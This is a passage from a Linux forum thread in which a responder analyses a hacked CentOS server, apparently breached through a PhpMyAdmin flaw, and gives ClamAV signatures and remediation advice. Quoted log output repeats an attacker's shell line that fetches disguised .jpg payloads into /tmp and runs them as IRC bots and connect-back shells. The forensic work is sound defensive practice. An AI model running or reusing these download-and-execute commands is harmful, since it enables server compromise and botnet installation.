Unmatched right curly bracket at fld.jpg line 10, at end of line
syntax error at fld.jpg line 10, near "}"
Execution of fld.jpg aborted due to compilation errors.
sh: fetch: command not found
Can't open perl script "fld.jpg": No such file or directory

 22 19027   22  4344    0     0   1668      0  0:00:11  0:00:02  0:00:09 13790
100 19027  100 19027    0     0   6510      0  0:00:02  0:00:02 --:--:-- 30011
Can't open perl script "fld.jpg": No such file or directory
sh: fetch: command not found
Can't open perl script "fld.jpg": No such file or directory
sh: lynx: command not found
Can't open perl script "fld.jpg": No such file or directory
sh: -c: line 0: syntax error near unexpected token `;'
sh: -c: line 0: `cd /tmp;wget http://70657279636f6c2e75636f7a2e726f/pal.jpg;tar zxvf pm.jpg;rm -rf pm.jpg;cd pm;nohup ./r >>/dev/null &;wget http://70657279636f6c2e75636f7a2e726f/php.jpg ; perl php.jpg ; rm -rf php.jpg'
Can't open perl script "fld.jpg": No such file or directory
sh: lynx: command not found
Can't open perl script "fld.jpg": No such file or directory
sh: -c: line 0: syntax error near unexpected token `;'
sh: -c: line 0: `cd /tmp;wget http://70657279636f6c2e75636f7a2e726f/pal.jpg;tar zxvf pm.jpg;rm -rf pm.jpg;cd pm;nohup ./r >>/dev/null &;wget http://70657279636f6c2e75636f7a2e726f/php.jpg ; perl php.jpg ; rm -rf php.jpg'
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed

  0 19027    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed

  0 19027    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
100 19027  100 19027    0     0  13384      0  0:00:01  0:00:01 --:--:-- 30153
Can't modify constant item in scalar assignment at fld.jpg line 1, near """;"
Unmatched right curly bracket at fld.jpg line 10, at end of line
syntax error at fld.jpg line 10, near "}"
Execution of fld.jpg aborted due to compilation errors.
sh: fetch: command not found
Can't open perl script "fld.jpg": No such file or directory

 68 19027   68 13032    0     0   9179      0  0:00:02  0:00:01  0:00:01 20718
100 19027  100 19027    0     0  13390      0  0:00:01  0:00:01 --:--:-- 30201
Can't open perl script "fld.jpg": No such file or directory
sh: fetch: command not found
Can't open perl script "fld.jpg": No such file or directory
Final $ should be \$ or $name at fld.jpg line 254, at end of line
syntax error at fld.jpg line 254, at EOF
Missing right curly or square bracket at fld.jpg line 254, at end of line
Execution of fld.jpg aborted due to compilation errors.
sh: lynx: command not found
Can't open perl script "fld.jpg": No such file or directory
sh: -c: line 0: syntax error near unexpected token `;'
sh: -c: line 0: `cd /tmp;wget http://70657279636f6c2e75636f7a2e726f/pal.jpg;tar zxvf pm.jpg;rm -rf pm.jpg;cd pm;nohup ./r >>/dev/null &;wget http://70657279636f6c2e75636f7a2e726f/php.jpg ; perl php.jpg ; rm -rf php.jpg'
Can't open perl script "fld.jpg": No such file or directory
sh: lynx: command not found
Can't open perl script "fld.jpg": No such file or directory
sh: -c: line 0: syntax error near unexpected token `;'
sh: -c: line 0: `cd /tmp;wget http://70657279636f6c2e75636f7a2e726f/pal.jpg;tar zxvf pm.jpg;rm -rf pm.jpg;cd pm;nohup ./r >>/dev/null &;wget http://70657279636f6c2e75636f7a2e726f/php.jpg ; perl php.jpg ; rm -rf php.jpg'
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed

  0 19027    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed

  0 19027    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
 22 19027   22  4344    0     0   3901      0  0:00:04  0:00:01  0:00:03 13790
 22 19027   22  4344    0     0   3933      0  0:00:04  0:00:01  0:00:03 13617
100 19027  100 19027    0     0  13250      0  0:00:01  0:00:01 --:--:-- 29822

100 19027  100 19027    0     0  13376      0  0:00:01  0:00:01 --:--:-- 29869
Can't open perl script "fld.jpg": No such file or directory
sh: fetch: command not found
Can't open perl script "fld.jpg": No such file or directory

Note the above commands download files with image extensions to avoid inspection that are decompressed (gzip) and executed as scripts. Analysis showed these files to be standard connect-back shells and IRC bots.

3) File analysis of “hidden” directories in /tmp contents show an EnergyMech IRC Bot binary, renamed to “bash” to thwart inspection, the “pscan” and “ss” port scanners, a version of “screen” and one unknown binary file. Running “strings” on it shows a distinct UA: “User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1” and text “Nu Pot Deschide” (meaning something like “can not open” in Romanian). Reference to “vuln.txt” and “ip.txt” suggest it scans sites for exploitable PHPMyAdmin. The following Clam AV signatures should detect this binary:
Code:
PMA-scanner0 (possibly CVE-2011-2505)=557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e5420362e3129204170706c655765624b69742f3533352e3120284b48544d4c2c206c696b65204765636b6f29204368726f6d652f31332e302e3738322e323230205361666172692f3533352e31
PMA-scanner1 (possibly CVE-2011-2505)=4e7520506f74204465736368696465
In addition the Linux.RST.B virus (string: “GET /~telcom69/gov.php HTTP/1.0”) was found in several of these binaries with Clam AV.

4) Logwatch also showed different users logging in through SSH:
root:
Quote:
29 different IP addresses were found. Only 1 IP from the ASN (ISP) hosting this server. The other IP addresses were confirmed as being the home ISP and mobile provider of the user. No indication of root logins by intruders were found. Note this system has been subject to immense brute force dictionary attack against SSH.
5) The system is currently running:
Code:
httpd-2.2.3 (repo current: httpd-2.2.3-63, vendor: 2.2.22)
php-5.2.10 (repo current: php-5.1.6-32, vendor: 5.4.0)
mysql-5.0.77 (repo current: mysql-5.0.95-1.el5_7.1, vendor: 5.5.23)
webmin no version given (no in Centos repo, vendor: 1.580)
PhpMyAdmin no version given (no in Centos repo, vendor: 3.5.1-rc1)
This system was not hardened, has not been updated in approximately one year and seen no other maintenance at all in any way.

The conclusion is the system has been compromised through the web server via PhpMyAdmin vulnerability CVE-2011-2505 (http://www.cve.mitre.org/cgi-bin/cve...=CVE-2011-2505) at which point any process can be executed in the context of the web server user.

We recommend that while no evidence of a root compromise was found the system is in such a state that it should be removed from service immediately to avoid continued use as host scanner, IRC bot or any escalation. We recommend a cleanly installed current release of Centos be put in place with proper hardening of server processes. One area of particular concern is the continued and heavy use of the root account.
 
2 members found this post helpful.
Old 04-27-2012, 11:04 AM   #9
newbie14
Member
 
Registered: Sep 2011
Posts: 435

Original Poster
Rep: Reputation: Disabled
Dear All,
I would like to wish a big thank to Noway2 and also Unspawn for their time on analysis and getting to the root cause of it. Thank you once again.
 
  


Reply


Thread Tools Search this Thread
Search this Thread:

Advanced Search

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is Off
HTML code is Off


Similar Threads
Thread Thread Starter Forum Replies Last Post
Weird connection in my centos to outside..got hacked? michaelux Linux - Security 4 05-19-2011 09:34 AM
centos 5 hacked again jasonchongkn@hotmail.com Linux - Server 6 04-09-2011 11:47 AM
CentOS Weird behavior, Maybe I got hacked? [URGENT] AsadMoeen Linux - Server 10 03-01-2011 11:53 AM
aarnet.edu.au Centos 5.3 mirror hacked. mazinoz Linux - Server 1 04-04-2009 05:23 PM


All times are GMT -5. The time now is 09:35 AM.

Main Menu
Advertisement
My LQ
Write for LQ
LinuxQuestions.org is looking for people interested in writing Editorials, Articles, Reviews, and more. If you'd like to contribute content, let us know.
Main Menu
Syndicate
RSS1  Latest Threads
RSS1  LQ News
Twitter: @linuxquestions
Facebook: linuxquestions Google+: linuxquestions
Open Source Consulting | Domain Registration